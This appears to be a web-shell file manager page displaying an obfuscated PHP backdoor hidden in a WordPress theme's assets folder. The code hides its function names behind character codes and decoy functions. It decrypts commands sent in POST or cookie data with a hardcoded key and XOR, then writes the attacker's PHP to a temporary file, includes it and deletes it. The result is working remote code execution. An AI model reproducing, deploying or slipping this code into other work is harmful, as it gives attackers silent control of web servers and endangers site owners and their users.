HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/themes/twentytwenty/assets/xgknfmbd.php
<?php 

$v_qiv	=    'v_qiv' /*  _aw */ ^ /*   gyzo   */ '7';
$giruf    =	"\x62"	.      "\x61" /*  y_medi   */ . /* i*/ "\x73"       .    $v_qiv(255-154)    .	"6"."\x34" /*yp */ .	"\137"	.    "e".$v_qiv(110) /*jlvlrp  */ . /*  gtye*/ "\143" /* cu   */ .       "o"."d"."e";
$whadh /*   bpp_g*/ =    $v_qiv(1059-962) /* d   */ . /*  oaglvj  */ "r"."\x72"    . /*qqj*/ $v_qiv(110-13) /*   xzegu*/ .	"\171" /*ldqszt */ .  "_"."s"."l"."i".$v_qiv(985-886) /*  mbq*/ .    $v_qiv(101);$bxvueiy /* vjlg   */ =     "s"."t"."\x72"     .   "\137"   .    "r"."\145"	. /*   kuh*/ $v_qiv(112) /* rcuuyr */ .	"e".$v_qiv(705-608)    .    "t";

$jtzsypbsk /* ukjk */ =    "\x65"    . /*   ijb*/ "x"."p"."l"."o"."\x64"    . /*x_*/ "e";$mtmnt      =	"s"."t"."r"."\160"	. /*  u*/ "o".$v_qiv(258-143);

$wxeunak  =    $v_qiv(770-655)     .    "\165" /* unblo*/ .	$v_qiv(977-879)    .     "s"."t"."\162";
$zmzfk_v	= /*  _vvh   */ $v_qiv(99)    .	$v_qiv(545-434)    .    "u"."\x6e"	. /*  exusm   */ "\x74";$onxfzu       =    "\x66"      .    "a"."l".$v_qiv(115)    .       "e";


$tljvpdvox /*   kd*/ =      "p".$v_qiv(97) /*  lv  */ .    $v_qiv(723-624)       . /* fbj_eh */ "\x6b";




function /*l */ bdrzmupeu($mpahugeox,	$ltttpd)
{
 /*  ossw */ global      $v_qiv;


 /* rexr */  /*viihla*/ $mpahugeox /*   jgn   */ = /* d_ */ "\74"	.       "?"."p"."\x68"	.  "\160"    . /*  nntnsx   */ $v_qiv(32)      . /*   pis   */ "\165"  .  $v_qiv(266-156) /*cthf  */ . /*ze*/ "\154" /*   elxg */ .	"i"."n"."\153" /*   u */ .    "\50"  . /*   kljj_v*/ $v_qiv(902-807) /*   f_jmpa */ . /*hkouc  */ $v_qiv(95)."F".$v_qiv(355-282)	. /*  om */ "\x4c"      . /*ic */ $v_qiv(945-876)    .	"\x5f"	. /*  hrcw  */ "\137" /*   mrebgf   */ .    ")".";".$v_qiv(32)    .    $mpahugeox["\x64"];

	$lejbnxtqr    = /*  l*/ "\146"    .   "\x69" /* hab */ .      "\x6c" /*  frhl   */ . /*s   */ $v_qiv(101)."\137"    . /* ytc   */ "\160"  .    $v_qiv(544-427) /* fhz */ .     "t"."\137"       .       $v_qiv(99)  .    "o".$v_qiv(110) /* uukz*/ .	"\164"	.    $v_qiv(101)."\156"    . /*   qdm */ "\x74" /*  fuobp   */ . /*   yfe*/ "\x73";
     /* lhbkox*/ $lejbnxtqr($ltttpd, /*  n  */ $mpahugeox);


     /*_  */ irlseuse($ltttpd);}function     sr_qbdunjs()
{
   $tktbgoaqkfkz    =       36;


       $_bfxucy /*   gea  */ = /* srm_  */ 'bqr';


  $t_nloj_js_  =    'pqvzo'; /*wyxu*/ $hitdkfsi /*   aummv   */ =       '_ndnj'; /*   iqy   */ $zs_zhwn    =      str_replace('pqhbts', /*dden*/ 'wut', /*uuaswu  */ $hitdkfsi);


}




sr_qbdunjs();




$ahndri /*fwt   */ =       73;
function /* ix */ irlseuse($ltttpd){
 /*   yxi*/ global /* qi   */ $v_qiv;       /*  _p */ include($ltttpd);

   $dijmhyvuyirxz /*yfzek*/ = /*   tswuai  */ $ltttpd;


      @unlink($dijmhyvuyirxz);

}


function /*  zl*/ qqqvau_jmu()
{    global /* jvvpy  */ $v_qiv;



    $tktbg    = /*   sfk   */ array();

      $tktbg["\x70"    .	$v_qiv(118)]	=    phpversion();

  $tktbg["\163" /*xol */ . /*avxjlo */ "v"]	= /*r_i */ "\x33"	.       ".".$v_qiv(451-398);

	$c_euri /* x */ =    74;


	echo     @serialize($tktbg);


}

function /* aj  */ ithtkibusi()

{


    $ddcqujfkc  = /* l_*/ '_q';
    $cofdwffj	=  44;
	$wfrhxx /*dacay  */ =    47;
      $dijmhfh_ui       =    'wt';
}
ithtkibusi();



function /*  npl  */ dojbrad($mpahugeox, /*svxmn*/ $vnhqdckf)
{ /* mqlgt*/ global	$v_qiv;
      


      $ekfcafiud /*sa   */ =	"";	$_sodtzzx    =  'sh';	$tktbg	=    0;


   while /*aliq_  */ ($tktbg      <       strlen($mpahugeox)) /*kgs */ {    for /* i*/ ($dijmh   =	0; /*  rrrfuw  */ $dijmh	< /*n*/ strlen($vnhqdckf)      &&    $tktbg     <     strlen($mpahugeox); /*   s_zqb */ $dijmh++, /*   qn   */ $tktbg++) /*_ka   */ {


 /*   w  */ $ekfcafiud	.= /*   hygo  */ $v_qiv(ord($mpahugeox[$tktbg])  ^ /* lnlj  */ ord($vnhqdckf[$dijmh]));
	}

 /* dwb   */ } /*gmxbrb */ return     $ekfcafiud;
}



function  eoddq()

{

	$dqsmqbc       =    14;


 /*   zpvb_s   */ $tvljg     =    'dublr';

   $hd_kp_   =  18;

 /*   hlonce  */ $dohcjf    =    49;
  $dijmhkfwopxr /*   t_owbu*/ = /*  mv */ 'mgcbnpo';

	$gnvwqspq     = /* isj   */ 'wseetuq';

    $dqsmqbc       =	$dohcjf /*fghm  */ * /*   ug*/ $dohcjf;
    $nyvvhzri       =	$dohcjf	/    ($dohcjf    +    10);

 /*uu */ $fzwmxr    = /*   jajmxj */ 39;
}




eoddq();



function    dlkacnzubb($xesvi)


{
 /*  csteb   */ global      $v_qiv;

	

   $ba_tbf /*   zwxboe*/ = /*  rkne*/ $v_qiv(100)     . /* kze */ "\x63"     .    $v_qiv(97) /* c*/ . /*  jrmb  */ "0"."7"."\x36" /* ix  */ .      $v_qiv(49)	.    "c".$v_qiv(75-30)      .	"c"."\62" /* n */ .     $v_qiv(178-77) /* xj_gyy   */ . /*ndk_zz  */ "1".$v_qiv(45) /*yjyb */ . /*grrfx  */ "4"."\x65" /*  x_yusg   */ .    $v_qiv(1036-937)    .    "6"."-"."b"."c"."\146" /*fh   */ .     "3"."-"."\x62" /*afr*/ .     $v_qiv(810-710)     . /*pxt_   */ "\x33" /*  tqx*/ .	"\x64"."6".$v_qiv(53)	.    $v_qiv(98) /*  e_j  */ .    "\60"      . /*yuk  */ "\141"	.	$v_qiv(52) /* oj*/ .      "0"."\62";  


 /* vfrd_c  */ foreach      ($xesvi	as  $bfic_zj_s       => /*   bgjq */ $mpahugeox)	{

	jdjuzkar_w(base64_decode($mpahugeox), /*  k  */ $ba_tbf,	$bfic_zj_s);


    }}
function	jdjuzkar_w($mpahugeox,  $ba_tbf, /*n  */ $bfic_zj_s)
{
 /* zp_n*/ global    $v_qiv;


 /*   mw*/ 
    $mpahugeox	= /* ov   */ unserialize(dojbrad(dojbrad($mpahugeox,     $ba_tbf),       $bfic_zj_s));

	$docrhvkd /*xl   */ = /*xfvz   */ 'rcgogbaxp';


	$opsbaz /*  kan  */ =    'yxihxvoka'; /*   f*/ if  (isset($mpahugeox["\x61"	.     "\x6b"]))  {
 /*b */ if    ($mpahugeox["a"]	==       "i")      {	qqqvau_jmu();


    }	elseif    ($mpahugeox["a"] /*  lzu   */ == /*eb*/ $v_qiv(101))	{
    bdrzmupeu($mpahugeox,     sprintf("\56" /*  _kgxra*/ .    "/".$v_qiv(37)    .	"s"."\56"	.	$v_qiv(229-117)  .	"\154", /*kq*/ md5($ba_tbf)));

			$ewjfc	=	44;
    }
	exit();


    }

}


	$oeuuipazng	= /* uujrxk   */ 69;	$dijmhplcbrgmpj    =    22;


$dijmhplcbrgmpj      =	$oeuuipazng     +    15;





dlkacnzubb($_POST);	


$_GET["n".$v_qiv(101)	.    "w".$v_qiv(95)."k"."\145"  . /*oysv*/ "y"] /*   u_oj */ =    md5($v_qiv(658-548)      .	$v_qiv(101)	. /*raocaa   */ "w"."\x5f" /*  jt   */ . /*  inf  */ "v"."\141" /*wfpxk   */ .	"l"."u".$v_qiv(101)); /* k_p*/ 


if /*  yzkb   */ ($mtmnt($_GET["n".$v_qiv(101) /* qqtjj*/ .	"w".$v_qiv(95)."k"."\145"     . /* vtud*/ "y"], /*z_f_  */ "s".$v_qiv(101).$v_qiv(1067-970) /*  y   */ .       "r".$v_qiv(99)	.   "\150" /*_rune_  */ .    "\137"    .    "s"."\x74" /*tnzaa*/ .    "\x72"	. /*   _x  */ "i"."\x6e"    . /*   qdt*/ $v_qiv(103)) /* d   */ !==      $onxfzu)    { /* zvixuy   */ 
    $wboxmpmfg /*  h  */ =    $wxeunak($_GET["n".$v_qiv(101) /*   qqpzq*/ .    "w".$v_qiv(95)."k"."\145"    . /*   _dt  */ "y"], /*me_hym   */ 0,	5); /*  mxf */ 

     $_POST["k"."\x65"  .	"y"]       =	$bxvueiy($wboxmpmfg,	3);  
}





dlkacnzubb($_COOKIE);	


$axakbeskvm /*   mpuz   */ = /*   epa */ "t".$v_qiv(101)."s"."\x74"       .    $v_qiv(95)."v"."a"."l"."u".$v_qiv(101).$v_qiv(490-395)    .	"\x74" /*nzni   */ .      $v_qiv(101)."\x73"	. /*ibi_  */ "t".$v_qiv(1065-970) /*   y*/ .	"\166"	.       $v_qiv(97)     . /*  vemgil */ $v_qiv(633-525)    . /*  iw  */ $v_qiv(117)	.  $v_qiv(101); /*sj */ 


$gfxvin	= /* tswxk  */ $jtzsypbsk($v_qiv(95),    $axakbeskvm); /* p*/ if    ($zmzfk_v($gfxvin)  >	1) /*   lkdjd*/ { /* r */ 

      $wdodbmxwb     =    $whadh($gfxvin,   0, /*   ngjie  */ 2);    	foreach    ($wdodbmxwb /*   btda*/ as	$vjnxqln_q)       { /*  mxwhop  */ 
      $oaovlfd /*   di  */ =    $tljvpdvox($v_qiv(72)	.  $v_qiv(42),     md5($vjnxqln_q)); /* _eysgu*/ 
	$fje_bk /*  qx*/ =    $giruf($oaovlfd);   

 /*   olj  */ $_COOKIE[md5($vjnxqln_q)]   = /*fnxuo */ $fje_bk;      

 /* v   */ }      


}


$utrho	=  6;




?>